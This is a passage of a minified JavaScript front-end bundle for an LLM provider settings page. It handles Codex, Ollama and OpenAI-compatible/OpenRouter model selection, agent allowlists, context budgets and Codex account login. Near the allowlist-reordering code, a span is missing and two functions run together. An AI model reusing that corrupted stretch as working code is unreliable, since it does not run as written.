ye,Ne,rt;const q=((ye=W.value.model_profiles)==null?void 0:ye[R.id])||R.profile||((rt=(Ne=W.value.openrouter)==null?void 0:Ne.catalogue_profiles)==null?void 0:rt[R.id])||(R.context_length>0&&R.max_completion_tokens>0?{total_window_tokens:R.context_length,max_output_tokens:R.max_completion_tokens}:null);return{...R,profile:q}})}),Pn=f(""),mn=f(""),$n=f(!0),Ua=f(!0),vn=f(!0),Ie=f(!1),D=f(null),pe=f(""),ke=f(null),Be=f(""),Ue=f([]),Ke=f(!1),$t=f("throughput"),gt=(v,R,q=null)=>{const ye=v[R],Ne=q&&ye&&typeof ye=="object"?ye[q]:ye,rt=Number(Ne);return Number.isFinite(rt)?rt:null},Ot=B(()=>{const v=[...Ue.value],R=$t.value;return v.sort((q,ye)=>{var Pe,Ft;if(R==="quantization")return String(q.quantization).localeCompare(String(ye.quantization));const[Ne,rt,Lt]=R==="throughput"?["throughput_last_30m","p50",!0]:R==="latency_p99"?["latency_last_30m","p99",!1]:R==="cache_price"?["cache_read_per_token",null,!1]:["prompt_per_token",null,!1],wa=(Pe=q.pricing)==null?void 0:Pe[Ne],xn=(Ft=ye.pricing)==null?void 0:Ft[Ne],at=rt?gt(q,Ne,rt):wa==null?null:Number(wa),Kt=rt?gt(ye,Ne,rt):xn==null?null:Number(xn);return Number.isFinite(at)?Number.isFinite(Kt)?Lt?Kt-at:at-Kt:-1:1})}),ds=B(()=>{try{return new URL(W.value.base_url).hostname}catch{return""}}),ut=B(()=>/(^|\.)openrouter\.ai$/i.test(ds.value)),ua=B(()=>{var v,R;return((R=(v=p.value)==null?void 0:v.openai_compatible)==null?void 0:R.base_url)||""}),hn=B(()=>{try{return new URL(ua.value).href}catch{return""}}),_o=B(()=>{try{return new URL(W.value.base_url).href}catch{return""}}),As=B(()=>w("compat")&&ut.value&&!!hn.value&&hn.value===_o.value);Gt(()=>[As.value,_o.value,hn.value],()=>{++ya,kt.value=null,Wt.value="",$s.value=!1,So()},{flush:"sync"});const vc=B(()=>{var v,R;return ut.value?$s.value?"OpenRouter recognized · fetching catalogue…":Wt.value?`OpenRouter recognized · catalogue failed: ${Wt.value}`:`OpenRouter recognized · ${((R=(v=kt.value)==null?void 0:v.models)==null?void 0:R.length)||0} catalogue models loaded`:Es.value.length?`${Es.value.length} endpoint models loaded`:"Catalogue not loaded"}),hc=B(()=>Wt.value?"text-red-400":"text-gray-500"),wo=B(()=>{var v;return[...new Set((((v=kt.value)==null?void 0:v.models)||[]).map(R=>R.vendor))].sort()}),gc=B(()=>{var v;return[...new Set((((v=kt.value)==null?void 0:v.models)||[]).flatMap(R=>(R.endpoints||[]).map(q=>q.quantization)).filter(Boolean))].sort()}),bc=v=>{var R;return(((R=kt.value)==null?void 0:R.measured_cache)||[]).some(q=>q.model===v.id&&q.samples>0&&q.cached_percent>0)},ko=B(()=>{const v=Pn.value.trim().toLowerCase();return xa.value.filter(R=>{var q;return!(v&&!`${R.id} ${R.name} ${R.vendor}`.toLowerCase().includes(v)||mn.value&&R.vendor!==mn.value||$n.value&&!R.supports_tools||Ua.value&&!R.agent_eligible||vn.value&&R.variant!=="standard"||Ie.value&&!bc(R)||D.value!=null&&Number((q=R.pricing)==null?void 0:q.prompt_per_token)*1e6>Number(D.value)||pe.value&&!(R.endpoints||[]).some(ye=>ye.quantization===pe.value))})}),yc=B(()=>ko.value.slice(0,100)),xc=B(()=>ko.value.length),gn=B(()=>new Map((As.value?xa.value:[]).map(v=>[`compat:${v.id}`,v]))),bn=v=>v==null?"n/a":`$${(Number(v)*1e6).toFixed(3)}/M`,mi=v=>{var R,q,ye,Ne;return[v.vendor,v.context_length?`${Number(v.context_length).toLocaleString()} ctx`:"context unknown",`${bn((R=v.pricing)==null?void 0:R.prompt_per_token)} in`,`${bn((q=v.pricing)==null?void 0:q.completion_per_token)} out`,`${bn((ye=v.pricing)==null?void 0:ye.cache_read_per_token)} cache read`,`${bn((Ne=v.pricing)==null?void 0:Ne.cache_write_per_token)} cache write`,v.supports_tools?"tools":"no tools",v.supports_reasoning?"reasoning":"no reasoning",v.variant!=="standard"?v.variant:null].filter(Boolean).join(" · ")},Fn=v=>{var Ne;const R=gn.value.get(v);if(!R)return"Catalogue facts unavailable";const q=(((Ne=kt.value)==null?void 0:Ne.measured_cache)||[]).filter(rt=>rt.model===R.id),ye=q.length?q.map(rt=>`${rt.upstream_provider}: ${rt.cached_percent}% cached`).join(" · "):"No measured cache evidence yet";return`${mi(R)} · ${ye}${R.profile_conflict?" · operator profile conflicts with catalogue":""}`},vi=B(()=>Es.value.map(v=>typeof v=="string"?v:v.name).filter(Boolean)),al=async()=>{var R,q,ye;const v=(ye=(q=(R=p.value)==null?void 0:R.openai_compatible)==null?void 0:q.preset_catalogue)==null?void 0:ye[W.value.preset];v&&(W.value.base_url=v.base_url),zn.cancel(),await dl()},C=(v,R)=>{W.value.openrouter[v]=R.split(",").map(q=>q.trim()).filter(Boolean)},K=B(()=>zt.value||[]),ne=B(()=>{const v=[...b,...vi.value.map(R=>`compat:${R}`),...K.value.map(R=>`ollama:${R.name}`)];for(const R of[Fe.value.model,...ot.value])R&&R!=="auto"&&!v.includes(R)&&v.unshift(R);return v}),Ee=v=>v==="codex-auto-review"?"codex-auto-review (Codex alias → gpt-5.6-luna)":v;async function Je({poll:v=!1}={}){try{const R=await z.get("/api/agents/model");if(v&&Pt()||ue.value||Ce.value||u("agents",Fe.value))return;Fe.value={...Fe.value,...R},r.agents=c(Fe.value)}catch{}}async function St(){const v=ds.value,R=ua.value,q=++ya;if(!As.value){kt.value=null,Wt.value="",$s.value=!1;return}$s.value=!0;try{const ye=await z.get("/api/openrouter/catalogue");if(q!==ya||!As.value||v!==ds.value||R!==ua.value)return;kt.value=ye,Wt.value=""}catch(ye){if(q!==ya||!As.value)return;Wt.value=ye.message||"Failed to load OpenRouter catalogue"}finally{q===ya&&($s.value=!1)}}async function Ks(){var v;try{(v=Fe.value.model)!=null&&v.startsWith("compat:")&&ut.value&&await nl(il(Fe.value.model),Co(Fe.value.model));const R=await z.put("/api/agents/model",{model:Fe.value.model||null});Fe.value={...Fe.value,...R},r.agents=c(Fe.value),He("Agent model policy saved")}catch(R){He(R.message||"Failed to save agent model policy","error")}}const gs=()=>[...Ge.value.length?Ge.value:ot.value];async function yn(v,R){const q=gs(),ye=q.findIndex(Lt=>qe(Lt)===v);let Ne=null;if(R.target.checked&&ye<0&&q.push(Fa.get(v)||v),!R.target.checked&&ye>=0&&([Ne]=q.splice(ye,1)),!q.length){R.target.checked=!0,He("Keep one model selected. An empty list restores the provider default.","error");return}const rt=await Rs(q,"Agent Auto allowlist saved");rt&&R.target.checked&&Fa.delete(v),rt&&!R.target.checked&&typeof Ne=="object"&&Fa.set(v,Ne),rt||(R.target.checked=ot.value.includes(v))}async function Rs(v,R){if(Ce.value)return!1;Ce.value=!0;try{const q=await z.put("/api/agents/model",{auto_model_allowlist:v});return Fe.value={...Fe.value,...q},r.agents=c(Fe.value),He(R),!0}catch(q){return He(q.message||"Failed to save agent allowlist","error"),!1}finally{Ce.value=!1}}const db=()=>Rs([],"Provider default restored");async function ub(v,R,q){const ye=ot.value.map(Ne=>{const rt=ae(Ne);if(Ne!==v)return rt||Ne;const Lt=typeof rt=="string"?{model:Ne}:{...rt||{model:Ne}};return delete Lt.reasoning_effort,delete Lt.thinking_mode,q&&(Lt[R]=q),Object.keys(Lt).length===1?Lt.model:Lt});await Rs(ye,"Model default saved")}async function nl(v,R=""){const[q,...ye]=v.split("/");if(!q||!ye.length)throw new Error("OpenRouter model id is not namespaced");return z.post(`/api/openrouter/models/${encodeURIComponent(q)}/${encodeURIComponent(ye.join("/"))}/select`,{provider_tag:R})}const pb=(v,R)=>{var ye;const q=(((ye=kt.value)==null?void 0:ye.measured_cache)||[]).find(Ne=>Ne.model===v&&Ne.upstream_provider===R);return q?`${q.cached_percent}% cached over ${q.samples} calls`:"no measured cache evidence"},fb=v=>v==null?"n/a":`$${(Number(v)*1e6).toFixed(4)}/M`,mb=(v,R)=>{if(v==null)return"n/a";if(typeof v=="number")return Number(v).toLocaleString();const q=v[R];return q==null?"n/a":Number(q).toLocaleString()},vb=v=>{var Ne;const R=[];v.quantization==="fp4"&&R.push("fp4 quantization may change quality");const q=typeof v.latency_last_30m=="object"?Number((Ne=v.latency_last_30m)==null?void 0:Ne.p99):null,ye=Number(Fe.value.iteration_timeout_seconds||0)*1e3;return q&&ye&&q>ye&&R.push("p99 exceeds the agent iteration budget"),R.join("; ")};async function hb(v){var R;ke.value=v,Be.value=((R=W.value.openrouter.model_pins)==null?void 0:R[v.id])||"",Ke.value=!0;try{const[q,...ye]=v.id.split("/"),Ne=await z.get(`/api/openrouter/models/${encodeURIComponent(q)}/${encodeURIComponent(ye.join("/"))}/endpoints`);Ue.value=Ne.endpoints||[]}catch(q){Ue.value=[],He(q.message||"Failed to load OpenRouter provider routes","error")}finally{Ke.value=!1}}function So(){ke.value=null,Be.value="",Ue.value=[]}async function gb(v,R=""){try{await nl(v.id,R);const q=gs(),ye=`compat:${v.id}`;if(q.some(rt=>qe(rt)===ye)||q.push(ye),!await Rs(q,R?"OpenRouter model added and provider pinned.":"OpenRouter model added unpinned."))return;So(),await _a()}catch(q){He(q.message||"Failed to add OpenRouter model","error")}}const il=v=>v.startsWith("compat:")?v.slice(7):v,Co=v=>{var R;return((R=W.value.openrouter.model_pins)==null?void 0:R[il(v)])||""},bb=v=>ot.value.length>1&&Rs(gs().filter(R=>qe(R)!==v),"Model removed from allowlist");async function yb(){var v,R;try{const q=gs();for(const ye of((v=kt.value)==null?void 0:v.quick_add)||[])(R=gn.value.get(ye))!=null&&R.agent_eligible&&(await nl(il(ye),""),q.some(Ne=>qe(Ne)===ye)||q.push(ye));await Rs(q,"Curated OpenRouter models added"),await _a()}catch(q){He(q.message||"Failed to add curated OpenRouter models","error")}}function ap(v){const R=v.hint_metadata||{},q=[];return R.context_tokens&&q.push(`context ${Number(R.context_tokens).toLocaleString()}`),R.max_output_tokens&&q.push(`max output ${Number(R.max_output_tokens).toLocaleString()}`),R.structural_source&&q.push(`source ${R.structural_source}`),q.join("; ")}async function xb(v,R){const q={...Fe.value.model_selection_hints||{}},ye=R.trim();ye?q[v]=ye:delete q[v];try{const Ne=await z.put("/api/agents/model",{model_selection_hints:q});Fe.value={...Fe.value,...Ne},r.agents=c(Fe.value),He("Model hint saved")}catch(Ne){He(Ne.message||"Failed to save model hint","error")}}function np(v,R){const q=ot.value.indexOf(v);return!Ce.value&&q>=0&&q+R>=0&&q+Rqe(Ne)===v);ye<0||!np(v,R)||([q[ye],q[ye+R]]=[q[ye+R],q[ye]],await Rs(q,"Agent Auto allowlist order saved"))}const _c=f(!0),wc=f(""),ip=f({configured:null,accounts:[]}),kc=f(null),To=f(null),Sc=f(""),ll=f(null),Cc=f(!1),Tc=f(null),lp=f(null),op=f("");let hi=null;function He(v,R="success"){Se(v,R==="error"?"error":"success")}function wb(v){if(!v)return"?";const R=v/(1024*1024*1024);return R>=1?R.toFixed(1)+" GB":(v/(1024*1024)).toFixed(0)+" MB"}function kb(v){return Number.isFinite(Number(v))?Number(v).toLocaleString():"—"}function Sb(v){return v==null?"automatic (model-derived)":Number(v).toLocaleString()+" characters"}function Cb(v){const R=new Date(v);return Number.isNaN(R.getTime())?"unknown":R.toLocaleString([],{dateStyle:"medium",timeStyle:"short"})}function Tb(v){const R=new Date(Number(v)*1e3);return Number.isNaN(R.getTime())?"unknown":R.toLocaleString([],{dateStyle:"medium",timeStyle:"short"})}function Eb(v){const R=Number(v);if(!Number.isFinite(R)||R<=0)return"unknown";const q=Math.max(0,Math.floor((Date.now()/1e3-R)/60));return q<1?"<1 min":`${q} min`}function Ab(v){return typeof v=="string"&&v.length>12?v.slice(0,8)+"…"+v.slice(-4):v}function Rb(v){return typeof v!="number"||!Number.isFinite(v)?"—":(v/1e3).toFixed(2)}function Ib(v){return v==="temporary learned clamp"?"is-clamp":v==="override"?"is-override":"is-built-in"}function Ob(v){const R=g.value.context_budget_overrides[v.model];return v.floor!=null&&Number.isFinite(Number(R))&&Number(R)>v.floor}function Lb(v,R){const q={...g.value.context_budget_overrides};R.target.value===""?delete q[v]:q[v]=Number(R.target.value),g.value.context_budget_overrides=q,it.value=!0}function Nb(v){g.value.context_utilization=v.target.value===""?"":Number(v.target.value),it.value=!0}function Mb(v){const R={...g.value.context_budget_overrides};delete R[v],g.value.context_budget_overrides=R,it.value=!0}async function _a({quiet:v=!1,poll:R=!1}={}){if(!(R&&Pt())){if(l&&await l,i)return i;v||(e.value=!0),i=(async()=>{await Promise.all([bs({poll:R}),ol(),rl(),Je({poll:R}),pa(),Bn({poll:R})]),await St(),Pt()||Ts()})();try{await i}finally{i=null,v||(e.value=!1)}}}async function Db(){if(!(Pt()||i)){if(l)return l;l=Promise.all([bs({poll:!0}),ol({refreshModels:!1}),rl({refreshModels:!1}),Je({poll:!0}),pa(),Bn({poll:!0})]).then(()=>{Pt()||Ts()});try{await l}finally{l=null}}}async function bs({preserveBasic:v=!1,preserveAdvanced:R=!1,poll:q=!1}={}){var ye,Ne,rt,Lt,wa,xn;try{const at=await z.get("/api/llm/status");p.value=at,m.value=!1,!o&&!u("mainModel",h.value.main)&&(h.value.main=at.main_model||at.active_model||(at.active_provider==="compat"?`compat:${((ye=at.openai_compatible)==null?void 0:ye.model)||""}`:at.active_provider==="ollama"?`ollama:${((Ne=at.ollama)==null?void 0:Ne.model)||""}`:((rt=at.codex)==null?void 0:rt.model)||"gpt-6.1-sol")),at.codex&&!gi.pending()&&(!v&&!Ye.value&&!u("codexBasic",yl(g.value))&&(g.value.enabled=at.codex.enabled,g.value.model=at.codex.model||"gpt-6.1-sol",g.value.reasoning_effort=at.codex.reasoning_effort||"medium",g.value.agent_reasoning_effort=at.codex.agent_reasoning_effort||""),!R&&!Ye.value&&!u("codexAdvanced",xl(g.value))&&(g.value.request_timeout_seconds=at.codex.request_timeout_seconds??g.value.request_timeout_seconds,g.value.stream_stall_timeout_seconds=at.codex.stream_stall_timeout_seconds??g.value.stream_stall_timeout_seconds,g.value.retry={...g.value.retry,...at.codex.retry||{}},g.value.connection_pool={...g.value.connection_pool,...at.codex.connection_pool||{}},g.value.context_compression={...g.value.context_compression,...at.codex.context_compression||{}},!it.value&&!Ye.value&&(g.value.context_budget_overrides={...at.codex.context_budget_overrides||{}},g.value.context_utilization=at.codex.context_utilization??g.value.context_utilization))),at.ollama&&!bi.pending()&&(!v&&!Dt.value&&!u("ollamaBasic",_l(Te.value))&&(Te.value.enabled=at.ollama.enabled,Te.value.base_url=at.ollama.base_url||"",Te.value.model=at.ollama.model||"",Te.value.max_tokens=at.ollama.max_tokens||4096,Te.value.num_ctx=at.ollama.num_ctx||32768),!R&&!Dt.value&&!u("ollamaAdvanced",Jo(Te.value))&&(Te.value.timeout=at.ollama.timeout??Te.value.timeout));const Kt=at.openai_compatible;Kt&&!zn.pending()&&(!v&&!et.value&&!u("compatibleBasic",bl(W.value))&&(W.value.enabled=Kt.enabled,W.value.base_url=Kt.base_url||W.value.base_url,W.value.model=Kt.model||W.value.model,W.value.preset=Kt.preset||W.value.preset,W.value.reasoning_effort=Kt.reasoning_effort||"medium"),!R&&!et.value&&!u("compatibleAdvanced",Ko(W.value))&&(W.value.request_timeout_seconds=Kt.request_timeout_seconds??W.value.request_timeout_seconds,W.value.stream_stall_timeout_seconds=Kt.stream_stall_timeout_seconds??W.value.stream_stall_timeout_seconds,W.value.model_profiles=Kt.model_profiles||W.value.model_profiles,W.value.context_utilization=Kt.context_utilization??W.value.context_utilization,W.value.openrouter={...W.value.openrouter,...Kt.openrouter||{}})),!o&&!u("mainModel",h.value.main)&&((Lt=h.value.main)!=null&&Lt.startsWith("compat:")?h.value.main_capability=(Kt==null?void 0:Kt.reasoning_effort)||"medium":(wa=h.value.main)!=null&&wa.startsWith("ollama:")||(h.value.main_capability=((xn=at.codex)==null?void 0:xn.reasoning_effort)||"medium")),at.auxiliary&&(_e.value=at.auxiliary,!Un.pending()&&!ge.value&&!u("auxiliary",X.value)&&(X.value.enabled=at.auxiliary.enabled,X.value.model=at.auxiliary.model||"gpt-6-luna"))}catch{p.value||(p.value={active_provider:"",codex:{configured:null},ollama:{configured:null},openai_compatible:{configured:null}}),m.value=!0}}async function Bn({poll:v=!1}={}){const R=++Qe;We.value=!0,je.value="";try{const q=await z.get("/api/context/windows");if(R!==Qe)return;$e.value=q,!(v&&Pt())&&!Ye.value&&!it.value&&(g.value.context_budget_overrides=Object.fromEntries(Object.entries(q.models||{}).filter(([,ye])=>ye.override!=null).map(([ye,Ne])=>[ye,Ne.override])),g.value.context_utilization=q.utilization??g.value.context_utilization)}catch(q){R===Qe&&(je.value=q.message||"Failed to load context budgets")}finally{R===Qe&&(We.value=!1)}}async function ol({refreshModels:v=!0}={}){try{if(Vs.value=await z.get("/api/ollama/status"),Gs.value=!1,Vs.value.model&&(ta.value=Vs.value.model),v&&Vs.value.configured)try{const R=await z.get("/api/ollama/models");zt.value=R.models||[]}catch{zt.value=[]}else if(v&&Te.value.base_url)try{const R=await z.post("/api/ollama/probe-models",{base_url:Te.value.base_url});zt.value=R.models||[]}catch{zt.value=[]}}catch{Gs.value=!0}}async function pa(){_c.value=!0,wc.value="";try{ip.value=await z.get("/api/codex/status")}catch(v){wc.value=v.message||"Failed to fetch Codex status"}finally{_c.value=!1}}async function Pb(){if(o)return;o=!0;const v=h.value.main;try{v.startsWith("compat:")&&ut.value&&await nl(il(v),Co(v));try{await z.put("/api/llm/main-model",{model:v})}catch(R){if(!/404|not found/i.test(R.message||""))throw R;await z.post("/api/llm/switch",{model:v})}d("mainModel",v),He("Main model saved"),await _a()}catch(R){He(R.message||"Failed to save main model","error"),await bs()}finally{o=!1}}async function $b(v){h.value.main_capability=v;const R=re.value;R&&(R.provider==="compat"&&R.capability!=="none"?(W.value.reasoning_effort=v,await dl()):R.capability==="reasoning"?(g.value.reasoning_effort=v,await cl()):R.capability==="thinking"&&(await z.put("/api/openai-compatible/config",{thinking_mode:v}),He("Thinking mode saved")))}async function Fb(v){h.value.agent_capability=v;const R=ce.value,q=(R==null?void 0:R.capability)||oe.value;if(q!=="none"){if(v===""||v==="auto"||q==="reasoning"||q==="mixed"){if(g.value.agent_reasoning_effort=v,q==="thinking"){const ye=await z.put("/api/agents/model",{thinking_mode:null});Fe.value={...Fe.value,...ye}}await cl()}else if(q==="thinking"){const ye=await z.put("/api/agents/model",{thinking_mode:v});Fe.value={...Fe.value,...ye},He("Agent thinking mode saved")}}}async function Bb(){Ws.value=!0;try{const v=await z.post("/api/ollama/reload");He(v.configured?"Ollama reloaded":v.reason||"Ollama not configured",v.configured?"success":"error"),await _a()}catch(v){He(v.message||"Reload failed","error")}finally{Ws.value=!1}}async function Ub(){Pa.value=!0;try{await z.post("/api/ollama/model",{model:ta.value}),He("Model set to "+ta.value),await _a()}catch(v){He(v.message||"Failed","error")}finally{Pa.value=!1}}async function zb(){const v=Te.value.base_url;if(!v){He("Enter a base URL first","error");return}Rt.value=!0;try{const R=await z.post("/api/ollama/probe-models",{base_url:v});zt.value=R.models||[],zt.value.length?(He(zt.value.length+" model(s) found"),!Te.value.model&&zt.value.length&&(Te.value.model=zt.value[0].name)):He("No models found at "+v,"error")}catch(R){He(R.message||"Could not reach Ollama","error")}finally{Rt.value=!1}}async function rl({refreshModels:v=!0}={}){try{if(hs.value=await z.get("/api/openai-compatible/status"),$a.value=!1,hs.value.model&&(ls.value=hs.value.model),v&&hs.value.configured)try{const R=await z.get("/api/openai-compatible/models");Es.value=R.models||[]}catch{Es.value=[]}}catch{$a.value=!0}}async function Hb(){sa.value=!0;try{const v=await z.post("/api/openai-compatible/reload");He(v.configured?"OpenAI-compatible reloaded":v.reason||"OpenAI-compatible not configured",v.configured?"success":"error"),await _a()}catch(v){He(v.message||"Reload failed","error")}finally{sa.value=!1}}async function jb(){ba.value=!0;try{await z.post("/api/openai-compatible/model",{model:ls.value}),He("Model set to "+ls.value),await _a()}catch(v){He(v.message||"Failed","error")}finally{ba.value=!1}}async function cl(){var R,q;if(Ye.value){gi();return}Ye.value=!0;const v=yl(g.value);try{if(!await O("codex",v.enabled)){g.value.enabled=((q=(R=p.value)==null?void 0:R.codex)==null?void 0:q.enabled)===!0;return}await z.put("/api/llm/codex/config",v),d("codexBasic",v),He("Codex config saved"),await Promise.all([bs({preserveBasic:!0,preserveAdvanced:!0}),pa()])}catch(ye){He(ye.message||"Failed","error");const Ne=JSON.stringify(yl(g.value))!==JSON.stringify(v);await Promise.all([bs({preserveBasic:Ne,preserveAdvanced:!0}),pa()])}finally{Ye.value=!1}}async function rp(){if(Ye.value)return;Ye.value=!0;const v=xl(g.value);try{await z.put("/api/llm/codex/config",v),d("codexAdvanced",v),JSON.stringify({context_budget_overrides:g.value.context_budget_overrides,context_utilization:g.value.context_utilization})===JSON.stringify({context_budget_overrides:v.context_budget_overrides,context_utilization:v.context_utilization})&&(it.value=!1),He("Codex advanced settings saved"),await Promise.all([bs({preserveBasic:!0,preserveAdvanced:!0}),pa(),Bn()])}catch(R){He(R.message||"Failed","error");const q=JSON.stringify(xl(g.value))!==JSON.stringify(v);await Promise.all([bs({preserveBasic:!0,preserveAdvanced:q}),pa(),Bn()])}finally{Ye.value=!1}}async function Ec(){var v,R;if(Dt.value){bi();return}Dt.value=!0;try{const q=De.value?Te.value.api_key:null,ye=_l(Te.value,{includeApiKey:q!==null});if(!await O("ollama",ye.enabled)){Te.value.enabled=((R=(v=p.value)==null?void 0:v.ollama)==null?void 0:R.enabled)===!0;return}await z.put("/api/llm/ollama/config",ye),He("Ollama config saved"),q!==null&&Te.value.api_key===q&&(Te.value.api_key="",De.value=!1),d("ollamaBasic",_l(Te.value)),await Promise.all([bs({preserveBasic:!0,preserveAdvanced:!0}),ol()])}catch(q){He(q.message||"Failed","error"),await bs({preserveBasic:!0,preserveAdvanced:!0})}finally{Dt.value=!1}}async function cp(){if(!Dt.value){Dt.value=!0;try{const v=Jo(Te.value);await z.put("/api/llm/ollama/config",v),d("ollamaAdvanced",v),He("Ollama timeout saved"),await Promise.all([bs({preserveBasic:!0,preserveAdvanced:!0}),ol()])}catch(v){He(v.message||"Failed","error")}finally{Dt.value=!1}}}async function dl(){var v,R;if(et.value){zn();return}et.value=!0;try{const q=ze.value?W.value.api_key:null,ye=bl(W.value,{includeApiKey:q!==null});if(!await O("compat",ye.enabled)){W.value.enabled=((R=(v=p.value)==null?void 0:v.openai_compatible)==null?void 0:R.enabled)===!0;return}await z.put("/api/openai-compatible/config",ye),He("OpenAI-compatible config saved"),q!==null&&W.value.api_key===q&&(W.value.api_key="",ze.value=!1),d("compatibleBasic",bl(W.value)),await Promise.all([bs({preserveBasic:!0,preserveAdvanced:!0}),rl()]),await St()}catch(q){He(q.message||"Failed","error"),await bs({preserveBasic:!0,preserveAdvanced:!0})}finally{et.value=!1}}async function dp(){if(!et.value){et.value=!0;try{const v=Ko(W.value);await z.put("/api/openai-compatible/config",v),d("compatibleAdvanced",v),He("OpenAI-compatible endpoint settings saved"),await Promise.all([bs({preserveBasic:!0,preserveAdvanced:!0}),rl()]),await St()}catch(v){He(v.message||"Failed","error")}finally{et.value=!1}}}async function qb(){if(ge.value){Un();return}ge.value=!0;try{const v={...X.value};await z.put("/api/llm/auxiliary/config",v),d("auxiliary",v),He("Auxiliary config saved"),await bs()}catch(v){He(v.message||"Failed","error"),await bs()}finally{ge.value=!1}}const gi=Zo(cl),Un=Zo(qb),bi=Zo(Ec),zn=Zo(dl),Vb=()=>(gi.cancel(),cl()),Gb=()=>(bi.cancel(),Ec()),Wb=()=>(zn.cancel(),dl()),Kb=()=>rp(),Jb=()=>cp(),Zb=()=>dp();async function Qb(v){const R=v.account_key+":"+v.model;Xe.value=R;try{const q=await z.post("/api/context/windows/clear",{account_key:v.account_key,model:v.model});He(q.cleared?"Temporary clamp cleared":"Clamp was already inactive"),await Bn()}catch(q){He(q.message||"Failed to clear clamp","error"),await Bn()}finally{Xe.value=null}}async function Yb(v){try{await z.post("/api/codex/account/"+v+"/activate"),He("Active account switched"),await pa()}catch(R){He(R.message||"Failed","error")}}async function Xb(v){kc.value=v;try{await z.post("/api/codex/account/"+v+"/refresh"),He("Token refreshed"),await pa()}catch(R){He(R.message||"Refresh failed","error")}finally{kc.value=null}}function ey(v,R){To.value=v,Sc.value=R||""}async function ty(v){try{await z.put("/api/codex/account/"+v+"/label",{label:Sc.value}),He("Label updated"),To.value=null,await pa()}catch(R){He(R.message||"Failed","error")}}async function sy(v,R){if(await is({title:"Delete Codex account",message:`Delete ${R||"account #"+(v+1)}? The pool will reload without it.`,confirmLabel:"Delete",danger:!0}))try{await z.del("/api/codex/account/"+v),He("Deleted. Pool reloaded."),await pa()}catch(ye){He(ye.message||"Failed","error")}}async function ay(){Cc.value=!0;try{const v=await z.post("/api/codex/device-code");Tc.value=v,ll.value="pending",ny(v)}catch(v){He(v.message||"Failed","error")}finally{Cc.value=!1}}async function ny(v){hi={cancelled:!1};const R=hi;try{const q=await z.post("/api/codex/device-poll",{device_auth_id:v.device_auth_id,user_code:v.user_code,interval:v.interval});if(R.cancelled)return;lp.value=q,ll.value="success",await _a()}catch(q){if(R.cancelled)return;op.value=q.message||"Device login failed",ll.value="error"}}function iy(){hi&&(hi.cancelled=!0),ll.value=null,Tc.value=null}function up(){n||(n=!0,_a(),a=window.setInterval(Db,s))}function pp(){n&&(n=!1,a!==null&&window.clearInterval(a),a=null)}return st(up),cs(up),es(pp),wt(()=>{pp(),hi&&(hi.cancelled=!0),gi.cancel(),Un.cancel(),bi.cancel(),zn.cancel()}),{pageRoot:t,savedProviderEnabled:w,codexOnly:_,codexChoices:ee,configuredDisabledSelection:T,configuredDisabledLabel:E,disableWarningRoles:F,effectiveAutoAllowlistCount:pn,allowlistModalOpen:ue,closeAllowlistModal:fi,allowlistSaving:Ce,effectiveAllowlist:ot,allowlistSummary:pi,resetAgentAllowlist:db,selectedUnavailableReason:Ba,selectedModelFacts:fn,loading:e,llmStatus:p,llmStatusLoadFailed:m,modelSelection:h,modelSelectorSearch:y,reasoningEfforts:k,neutralReasoningLevels:A,modelCatalog:I,modelGroups:te,selectedMainModel:re,selectedAgentModel:ce,selectedAgentCapabilityValue:j,agentCapabilityKind:oe,agentCapabilityEfforts:ve,autoAllowlistModels:be,allowlistModel:Z,allowlistModelEfforts:Q,allowlistEntryCapabilityValue:V,modelOptionLabel:Y,agentModelAvailable:N,agentModelOptionLabel:M,advancedOpen:Ae,codexForm:g,codexModelOptions:xe,codexAgentModelOptions:S,mainEffortAllowed:fe,agentEffortAllowed:me,mainModelOptionDisabled:J,agentModelOptionDisabled:ie,auxForm:X,auxData:_e,auxModelOptions:U,onAuxModelChange:de,savingAux:ge,saveAuxConfigDebounced:Un,ollamaForm:Te,compatibleForm:W,savingCodex:Ye,savingOllama:Dt,savingCompatible:et,probingOllama:Rt,ollamaKeyDirty:De,compatibleKeyDirty:ze,fetchCodexStatus:pa,ollamaStatus:Vs,ollamaStatusLoadFailed:Gs,ollamaModels:zt,ollamaSelectedModel:ta,reloading:Ws,settingModel:Pa,compatibleStatus:hs,compatibleStatusLoadFailed:$a,compatibleModels:Es,visibleCompatibleModels:Ct,compatibleSelectedModel:ls,reloadingCompatible:sa,settingCompatibleModel:ba,applyCompatiblePreset:al,setOpenRouterList:C,agentsConfig:Fe,compatibleAgentModels:vi,ollamaAgentModels:K,knownAgentModelRefs:ne,agentModelLabel:Ee,saveAgentsModel:Ks,toggleAgentAutoAllowlist:yn,saveAllowlistEntryCapability:ub,autoAllowlistGroups:$,structuralFacts:ap,saveModelHint:xb,canMoveAllowlist:np,moveAgentAutoAllowlist:_b,openRouterCatalogue:kt,openRouterCatalogueLoading:$s,openRouterCatalogueError:Wt,openRouterRecognized:ut,openRouterCatalogueActive:As,compatibleCatalogueStatus:vc,compatibleCatalogueStatusClass:hc,openRouterSearch:Pn,openRouterVendor:mn,openRouterVendors:wo,openRouterToolsOnly:$n,openRouterEligibleOnly:Ua,openRouterStandardOnly:vn,openRouterMeasuredCacheOnly:Ie,openRouterMaxPromptPrice:D,openRouterQuantization:pe,openRouterQuantizations:gc,openRouterResults:yc,openRouterMatchCount:xc,openRouterInlineFacts:mi,openRouterSelectedFacts:Fn,prepareOpenRouterModel:hb,addOpenRouterModel:gb,removeOpenRouterModel:bb,quickAddOpenRouter:yb,openRouterModelMap:gn,openRouterPin:Co,openRouterPendingModel:ke,openRouterPendingTag:Be,openRouterPendingEndpoints:Ue,openRouterPendingLoading:Ke,openRouterEndpointSort:$t,openRouterSortedPendingEndpoints:Ot,openRouterEndpointCacheFact:pb,openRouterRate:fb,openRouterMetric:mb,openRouterRouteWarning:vb,cancelOpenRouterPending:So,codexLoading:_c,codexError:wc,codexData:ip,refreshing:kc,editingLabel:To,labelValue:Sc,contextWindows:$e,contextWindowsLoading:We,contextWindowsError:je,contextBudgetRows:se,activeClampRows:Re,activeContextBudget:Le,clearingClamp:Xe,contextPolicyDirty:it,deviceState:ll,deviceLoading:Cc,deviceInfo:Tc,deviceResult:lp,deviceError:op,fetchAll:_a,fetchLLMStatus:bs,fetchOllamaStatus:ol,fetchCompatibleStatus:rl,saveMainModel:Pb,saveMainCapability:$b,saveAgentCapability:Fb,reloadOllama:Bb,setOllamaModel:Ub,reloadCompatible:Hb,setCompatibleModel:jb,probeOllamaModels:zb,saveCodexConfig:cl,saveOllamaConfig:Ec,saveCompatibleConfig:dl,saveCodexAdvancedConfig:rp,saveOllamaAdvancedConfig:cp,saveCompatibleAdvancedConfig:dp,saveCodexConfigDebounced:gi,saveOllamaConfigDebounced:bi,s